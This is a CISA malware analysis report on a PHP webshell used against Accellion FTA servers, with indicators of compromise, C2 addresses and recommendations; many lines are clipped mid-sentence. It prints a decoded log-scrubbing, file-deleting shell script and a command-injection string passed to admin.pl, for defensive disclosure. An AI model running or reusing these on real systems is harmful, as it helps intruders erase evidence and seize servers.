# MAR-10325064-1.v1 - Accellion FTA **us-cert.cisa.gov/ncas/analysis-reports/ar21-055a** Malware Analysis Report 10325064.r1.v1 2021-02-22 ## Notification This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of an information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeab accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distribute more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp. ## Summary Description This Malware Analysis Report (MAR) analyzes a malicious Hypertext Preprocessor (PHP) webshell file submitted to CISA for analysis. The websh uploaded to an Accellion File Transfer Appliance (FTA) server, a secure file transfer application used by customers to send large files. The websh Structured Query Language (SQL) injection vulnerability to install itself onto the impacted FTA server. The webshell provides threat actors with the obtain file metadata, and download files stored on the Accellion FTA server. This webshell has been used in recent cyberattacks targeting users of Accellion FTA. For more information on these attacks, refer to Joint Cybers 055A. [For a downloadable copy of IOCs, see: MAR-10325064-1.v1.stix.](https://us-cert.cisa.gov/sites/default/files/publications/MAR-10325064.r1.v1.WHITE_stix.xml) Submitted Files (1) 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 (about.html) IPs (9) 155.94.160.40 192.52.167.101 194.88.104.24 197.156.107.83 209.163.151.232 209.58.189.165 45.135.229.179 79.141.162.82 92.38.135.29 ## Findings **2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7** Tags webshell Details **Name** about.html **Size** 3202 bytes **Type** PHP script, ASCII text, with very long lines **MD5** bdfd11b1b092b7c61ce5f02ffc5ad55a **SHA1** 9bbaf89be60a5c455ae5b14cbead82fce22f3b66 **SHA256** 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 **SHA512** 8e9e1fd5d1798b519bb477050b0e817be7523b92715958446d4133f97923a1a6dc726c7d7009da6ecd3bf674e88ae428a45300cbe8f4 **ssdeep** 96:jh58DD+hpmEr4YkPdvrf50ZPbAmLkysSJBLUNf++m:GahpmErBmZrfKVsrysSJBz ----- **Entropy** 5.641443 Antivirus No matches found. YARA Rules No matches found. ssdeep Matches No matches found. Relationships 2e0df09fa3... Related_To 209.58.189.165 2e0df09fa3... Related_To 197.156.107.83 2e0df09fa3... Related_To 194.88.104.24 2e0df09fa3... Related_To 45.135.229.179 2e0df09fa3... Related_To 92.38.135.29 2e0df09fa3... Related_To 155.94.160.40 2e0df09fa3... Related_To 209.163.151.232 2e0df09fa3... Related_To 79.141.162.82 2e0df09fa3... Related_To 192.52.167.101 Description The file, about.html, is a malicious Hypertext Preprocessor (PHP) webshell which leverages a SQL injection vulnerability to install itself onto the co FTA server. When the webshell is successfully installed, it provides threat actors the ability to download files stored on the FTA server. Analysis indicates that the FTA server was compromised, which allows the threat actor the ability to craft an HTTP request directly to the webshel be executed as if the threat actor had local (shell) access to the FTA server. When executed on the compromised FTA server, the webshell will attempt to check if the HTTP request accessing this resource includes the para (Figure 2). If the two parameters are available in the HTTP request, then the webshell will use the decrypt function to decrypt the contents of the o and store it in the value named "$path". It conducts the same process on the "fn" parameter and stores the value in the variable named "$fname". the file located at "$path" exists on the compromised FTA server. If the file exits, then the "$path" and "$fname" variables are used to call the read download the contents of the targeted file. Note: The encrypt and decrypt functions are undefined in the webshell, it's possible that both functions are included in either one or two of the files webshell, "function.inc" and "remote.inc". The file checks if the HTTP request has the parameter "csrftoken" and the parameter has the value "11454bd782bb41db213d415e10a0fb3c" (Fig will use the clean_up function to delete itself from the victim's system. The clean_up function contains another function, file_put_contents. This function is used by the webshell to create the file "/tmp/.scr" and decode string contained in the file (Figure 4). Displayed below are the contents within the decoded base64 encoded string: --Begin decoded contents within the base64 encoded string- #!/bin/sh for log in `ls /var/opt/apache/*log*`;do cat $log 2>/dev/null | grep -v 'about.html' > /tmp/x;mv /tmp/x $log;rm -rf /tmp/x;done echo -n > /home/seos/log/adminpl.log; rm -rf /home/httpd/html/about.html > /tmp/.out rm -rfv /home/httpd/html/oauth.api > /tmp/.out chmod 777 /tmp/.out chown nobody:nobody /tmp/.out echo > /var/log/secure --End decoded contents within the base64 encoded string- The decoded content "/tmp/.scr" is a script file used by the webshell to evade detection and analysis. The script file is designed to iterate through "/var/opt/apache/*log*" on the victim's system and return all the results not pertaining to about.html and store them in "/tmp/x". This file is used to r file before removing the file "/tmp/x" from the victim's system. This will results in Apache logs that have been sterilized for references to about.htm analysis capabilities. The script file will attempt to remove "/home.seos/courier/about.html" and "/home/seos/courier/oauth.api" from the victim's system. Once these file redirects standard output to "/tmp/.out" before modifying its ownership and permissions making it more difficult to recover and analyze. The script file is executed by invoking the Perl System function, which is used for executing arbitrary Unix commands on a system. The "admin.pl" script file. ----- p y p --Begin command-@system('sudo /usr/local/bin/admin.pl --mount_cifs=AF,DF,"\'\$(sh /tmp/.scr)\'",PASSWORD 1>/dev/null 2>/dev/null'); --End command- The script file "/tmp/.scr" and "/tmp/.out" will later be unlinked and deleted from the victim's system. If the HTTP request does not match the parameters for downloading file contents (Figure 2) or performing the cleanup process (Figure 3), then th receive an application ID from the parameter aid obtained from the HTTP request (Figure 5). This application ID is used to open the associated da SQL command against it (Figure 6). The cleanup mechanism is invoked to remove the webshell from the system and Apache logs only if the webshell returns no results from the SQL victim's system. If the webshell returns results from the SQL query executed on the victim's system, then the results are returned to the webshell i technique allows the threat actor to manually download file contents or initiate the cleanup process by clicking on their respective links. Displayed below are Indicators of Compromise (IOCs) related to this malicious webshell: --Begin file system artifacts contained in the webshell-/home/seos/courier/about.html /tmp/.scr /tmp/.out --End file system artifacts contained in the webshell- --Begin IP addresses-209.58.189.165 197.156.107.83 194.88.104.24 45.135.229.179 92.38.135.29 155.94.160.40 209.163.151.232 79.141.162.82 192.52.167.101 --End IP addresses- The URIs contains the following parameters (Figure 2&5): --Begin URIs parameters-dwn fn aid --End URIs parameters- URIs contains the following parameter and its corresponding value (Figure 3): --Begin URIs parameter and value-parameter: csrftoken value: 11454bd782bb41db213d415e10a0fb3c --End URIs parameter and value-Screenshots **Figure 1 - The webshell opened in a web browser. Note: The output of the webshell opened in a web browser is very different since it was opened** Accellion. ----- **Figure 2 - The webshell contains a functionality used to download targeted files from the FTA server. The webshell verifies if the HTTP request co** "dwn" and "fn" prior to downloading the targeted file. **Figure 3 - The webshell checks if the HTTP request has the parameter "csrftoken" and a corresponding value "11454bd782bb41db213d415e10a** clean_up function to delete itself from the victim's system. **Figure 4 - The webshell creates the script file "/tmp/.scr" and decodes an encoded base64 string contained in the script file.** **Figure 5 - The webshell uses the aid parameter to open associated database and execute a SQL command against it.** **Figure 6 - This is the SQL Command executed against the associated database.** **209.58.189.165** Tags command-and-control Whois inetnum: 209.58.184.0 - 209.58.191.255 netname: LSW-HKG-10 descr: LeaseWeb Asia Pacific - Hong Kong d Pl d ll b tifi ti t th f ll i il dd b @ l b T i f b ----- q p g g y q p country: HK admin-c: LA249-AP tech-c: LA249-AP abuse-c: AL1457-AP status: ALLOCATED NON-PORTABLE mnt-by: MAINT-LSW-SG mnt-irt: IRT-LSW-SG last-modified: 2021-01-27T13:17:29Z source: APNIC irt: IRT-LSW-SG address: 18B Keong Saik Road, Singapore 089125 e-mail: apnic@sg.leaseweb.com abuse-mailbox: abuse@sg.leaseweb.com admin-c: LAPP1-AP tech-c: LAPP1-AP auth: # Filtered remarks: apnic@sg.leaseweb.com was validated on 2020-12-23 remarks: abuse@sg.leaseweb.com was validated on 2021-02-04 mnt-by: MAINT-LSW-SG last-modified: 2021-02-04T12:48:04Z source: APNIC role: ABUSE LSWSG address: 18B Keong Saik Road, Singapore 089125 country: ZZ phone: +000000000 e-mail: apnic@sg.leaseweb.com admin-c: LAPP1-AP tech-c: LAPP1-AP nic-hdl: AL1457-AP remarks: Generated from irt object IRT-LSW-SG abuse-mailbox: abuse@sg.leaseweb.com mnt-by: APNIC-ABUSE last-modified: 2020-06-03T13:05:57Z source: APNIC person: LSW Apnic address: 18B Keong Saik Road, Singapore 089125 country: SG phone: +6531587350 e-mail: apnic@sg.leaseweb.com nic-hdl: LA249-AP mnt-by: MAINT-LSW-SG last-modified: 2016-06-06T08:59:04Z source: APNIC % Information related to '209.58.184.0/21AS133752' route: 209.58.184.0/21 descr: LeaseWeb Asia Pacific Hong Kong origin: AS133752 mnt-by: MAINT-LSW-SG last-modified: 2015-10-22T06:43:03Z source: APNIC Relationships 209.58.189.165 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **197.156.107.83** Tags command-and-control Whois inetnum: 197.156.106.0 - 197.156.107.255 netname: To_ERs_logically_close_to_MK-BR descr: To ERs logically close to MK-BR country: ET admin-c: ET4-AFRINIC tech-c: ETID1-AFRINIC status: ASSIGNED PA ----- y source: AFRINIC # Filtered parent: 197.156.64.0 - 197.156.127.255 person: Ethio Telecom nic-hdl: ET4-AFRINIC address: Churchill Road address: Addis Ababa 1047 address: Ethiopia phone: tel:+251-91-151-0433 phone: tel:+251-91-152-4200 phone: tel:+251-91-150-8279 phone: tel:+251-91-150-9821 phone: tel:+251-91-151-0425 phone: tel:+251-91-150-9835 mnt-by: GENERATED-GRXPERJUPKL2DTQEXFFNEHRZHJZDFRJ7-MNT source: AFRINIC # Filtered person: Ethio Telecom IS Division address: Ethio telecom address: Legehar Information System division address: Addis Ababa, Ethiopia address: Addis Ababa address: Ethiopia phone: tel:+251-91-125-6562 fax-no: tel:+251-11-552-3296 nic-hdl: ETID1-AFRINIC mnt-by: GENERATED-ZPSFE1E8AGHQZZFKT4YYQSIX58FJ1MZ4-MNT source: AFRINIC # Filtered % Information related to '197.156.64.0/18AS24757' route: 197.156.64.0/18 descr: Ethio Telecom origin: AS24757 member-of: rs-ethiotelecom mnt-by: ETC-MNT source: AFRINIC # Filtered Relationships 197.156.107.83 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **194.88.104.24** Tags command-and-control Relationships 194.88.104.24 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **45.135.229.179** Tags command-and-control Whois inetnum: 45.135.229.0 - 45.135.229.255 netname: GCL-CUSTOMER-US descr: G-Core Labs Customer assignment country: US admin-c: LA5122-RIPE tech-c: LA5122-RIPE status: ASSIGNED PA mnt-by: GCL1-MNT created: 2019-12-05T12:00:26Z last-modified: 2019-12-05T12:00:26Z source: RIPE geoloc: 38.747203 -77.531658 ----- p address: G-Core Labs S.A. address: 2A Rue Albert Borschette address: 1246 Luxembourg phone: +352-691-045488 e-mail: noc@gcore.lu nic-hdl: LA5122-RIPE mnt-by: WGI1-MNT mnt-by: GCL1-MNT created: 2012-12-05T15:05:34Z last-modified: 2015-12-10T08:56:40Z source: RIPE % Information related to '45.135.229.0/24AS199524' route: 45.135.229.0/24 descr: GCL-45-135-229-0-24 origin: AS199524 mnt-by: GCL1-MNT created: 2019-08-12T12:36:11Z last-modified: 2019-08-12T12:36:11Z source: RIPE Relationships 45.135.229.179 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **92.38.135.29** Tags command-and-control Whois inetnum: 92.38.134.0 - 92.38.135.255 netname: GCL-CUSTOMER-KOREA descr: G-Core Labs Customer assignment country: KR org: ORG-WIG6-RIPE admin-c: LA5122-RIPE tech-c: LA5122-RIPE mnt-by: GCL1-MNT status: ASSIGNED PA created: 2017-09-25T13:07:39Z last-modified: 2017-09-25T13:07:39Z source: RIPE geoloc: 37.534 126.991 organisation: ORG-WIG6-RIPE org-name: G-Core Labs S.A. country: LU org-type: LIR address: 2A Rue Albert Borschette address: 1246 address: Luxembourg address: LUXEMBOURG phone: +375293666245 e-mail: noc@gcore.lu abuse-c: AC23417-RIPE mnt-ref: GCL1-MNT mnt-ref: RIPE-NCC-HM-MNT mnt-by: GCL1-MNT mnt-by: RIPE-NCC-HM-MNT created: 2012-12-05T13:21:56Z last-modified: 2020-12-16T14:53:47Z source: RIPE person: LIR Admin address: G-Core Labs S.A. address: 2A Rue Albert Borschette address: 1246 Luxembourg phone: +352-691-045488 e-mail: noc@gcore.lu nic-hdl: LA5122-RIPE mnt-by: WGI1-MNT mnt-by: GCL1-MNT ----- last-modified: 2015-12-10T08:56:40Z source: RIPE % Information related to '92.38.135.0/24AS199524' route: 92.38.135.0/24 descr: GCL-92-38-135 origin: AS199524 mnt-by: GCL1-MNT created: 2017-07-31T09:22:46Z last-modified: 2017-07-31T09:22:46Z source: RIPE % Information related to '92.38.135.0/24AS202422' route: 92.38.135.0/24 descr: GCL-92-38-135-0-24 origin: AS202422 mnt-by: GCL1-MNT created: 2019-06-26T15:14:58Z last-modified: 2019-06-26T15:14:58Z source: RIPE Relationships 92.38.135.29 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **155.94.160.40** Tags command-and-control Whois NetRange: 155.94.160.0 - 155.94.160.255 CIDR: 155.94.160.0/24 NetName: QN-246326932 NetHandle: NET-155-94-160-0-1 Parent: QUADRANET (NET-155-94-128-0-1) NetType: Reassigned OriginAS: Customer: myserverplanet ltd (C05467676) RegDate: 2014-11-24 Updated: 2014-11-24 Comment: Abuse: abuse@quadranet.com Ref: https://rdap.arin.net/registry/ip/155.94.160.0 CustName: myserverplanet ltd Address: 117 E. First Street City: Monticello StateProv: IA PostalCode: 52310 Country: US RegDate: 2014-11-24 Updated: 2018-08-30 Ref: https://rdap.arin.net/registry/entity/C05467676 OrgTechHandle: QNO6-ARIN OrgTechName: QuadraNet Network Operations OrgTechPhone: +1-213-614-9371 OrgTechEmail: support@quadranet.com OrgTechRef: https://rdap.arin.net/registry/entity/QNO6-ARIN OrgAbuseHandle: QUADR4-ARIN OrgAbuseName: QuadraNet Abuse OrgAbusePhone: +1-213-614-8371 OrgAbuseEmail: abuse@quadranet.com OrgAbuseRef: https://rdap.arin.net/registry/entity/QUADR4-ARI Relationships 155.94.160.40 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. ----- Tags command-and-control Whois NetRange: 209.163.151.0 - 209.163.151.255 CIDR: 209.163.151.0/24 NetName: TWTC-DIGDEF-01 NetHandle: NET-209-163-151-0-1 Parent: TWTC-NETBLK-12 (NET-209-163-128-0-1) NetType: Reassigned OriginAS: Organization: DIGITAL DEFENSE INCORPORATED (DIGIT-45) RegDate: 2004-03-31 Updated: 2009-08-31 Ref: https://rdap.arin.net/registry/ip/209.163.151.0 OrgName: DIGITAL DEFENSE INCORPORATED OrgId: DIGIT-45 Address: 1711 CITADEL PLAZA City: SAN ANTONIO StateProv: TX PostalCode: 78209 Country: US RegDate: 2004-03-31 Updated: 2017-11-06 Ref: https://rdap.arin.net/registry/entity/DIGIT-45 Relationships 209.163.151.232 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **79.141.162.82** Tags command-and-control Whois inetnum: 79.141.162.0 - 79.141.163.255 netname: HZ-NA23 country: US admin-c: VD3206-RIPE tech-c: VD3206-RIPE status: ASSIGNED PA mnt-by: HZ-HOSTING-LTD created: 2018-08-03T14:27:37Z last-modified: 2018-08-03T14:27:37Z source: RIPE nic-hdl: VD3206-RIPE mnt-by: HZ-HOSTING-LTD created: 2016-11-28T15:25:07Z last-modified: 2016-11-28T15:25:07Z source: RIPE Relationships 79.141.162.82 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. **192.52.167.101** Tags command-and-control Whois NetRange: 192.52.166.0 - 192.52.167.255 CIDR: 192.52.166.0/23 NetName: CROWNCLOUD01 NetHandle: NET-192-52-166-0-1 Parent: NET192 (NET-192-0-0-0-0) ----- yp OriginAS: AS29761 Organization: Crowncloud US LLC (CUL-34) RegDate: 2014-10-14 Updated: 2014-10-16 Comment: Addresses in this block are statically assigned. Send abuse reports if any to admin@crowncloud.us Ref: https://rdap.arin.net/registry/ip/192.52.166.0 OrgName: Crowncloud US LLC OrgId: CUL-34 Address: 530 W 6th St Address: C/O Cid 4573 Quadranet Inc. Ste 901 City: Los Angeles StateProv: CA PostalCode: 90014-1207 Country: US RegDate: 2014-07-25 Updated: 2017-10-10 Ref: https://rdap.arin.net/registry/entity/CUL-34 OrgAbuseHandle: CROWN9-ARIN OrgAbuseName: Crowncloud Support OrgAbusePhone: +1-940-867-4072 OrgAbuseEmail: admin@crowncloud.us OrgAbuseRef: https://rdap.arin.net/registry/entity/CROWN9-ARIN OrgTechHandle: CROWN9-ARIN OrgTechName: Crowncloud Support OrgTechPhone: +1-940-867-4072 OrgTechEmail: admin@crowncloud.us OrgTechRef: https://rdap.arin.net/registry/entity/CROWN9-ARIN Relationships 192.52.167.101 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 Description The webshell attempts to connect to this IP address. ## Relationship Summary 2e0df09fa3... Related_To 209.58.189.165 2e0df09fa3... Related_To 197.156.107.83 2e0df09fa3... Related_To 194.88.104.24 2e0df09fa3... Related_To 45.135.229.179 2e0df09fa3... Related_To 92.38.135.29 2e0df09fa3... Related_To 155.94.160.40 2e0df09fa3... Related_To 209.163.151.232 2e0df09fa3... Related_To 79.141.162.82 2e0df09fa3... Related_To 192.52.167.101 209.58.189.165 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 197.156.107.83 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 194.88.104.24 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 45.135.229.179 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 92.38.135.29 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 155.94.160.40 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 209.163.151.232 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 79.141.162.82 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 192.52.167.101 Related_To 2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7 ## Recommendations ----- g g p g y p g configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts. Maintain up-to-date antivirus signatures and engines. Keep operating system patches up-to-date. Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication. Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unl Enforce a strong password policy and implement regular password changes. Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known. Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests. Disable unnecessary services on agency workstations and servers. Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file Monitor users' web browsing habits; restrict access to sites with unfavorable content. Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). Scan all software downloaded from the Internet prior to executing. Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs). Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Specia **"Guide to Malware Incident Prevention & Handling for Desktops and Laptops".** ## Contact Information CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at t [https://us-cert.cisa.gov/forms/feedback/](https://us-cert.cisa.gov/forms/feedback/) ## Document FAQ **What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most** provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding analysis. **What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manua** request additional analysis, please contact CISA and provide information regarding the level of desired analysis. **Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should** [at 1-888-282-0870 or CISA Service Desk.](http://10.10.0.46/mailto:CISAservicedesk@cisa.dhs.gov) **Can I submit malware to CISA? Malware samples can be submitted via three methods:** Web: [https://malware.us-cert.gov](https://malware.us-cert.gov/) E-Mail: [submit@malware.us-cert.gov](http://10.10.0.46/mailto:submit@malware.us-cert.gov) FTP: ftp.malware.us-cert.gov (anonymous) CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and ph [Reporting forms can be found on CISA's homepage at www.cisa.gov.](http://www.cisa.gov/) ## Revisions February 24, 2021: Initial Version [This product is provided subject to this Notification and this](https://us-cert.cisa.gov/privacy/notification) [Privacy & Use policy.](https://www.dhs.gov/privacy-policy) **Please share your thoughts.** [We recently updated our anonymous product survey; we'd welcome your feedback.](https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a) -----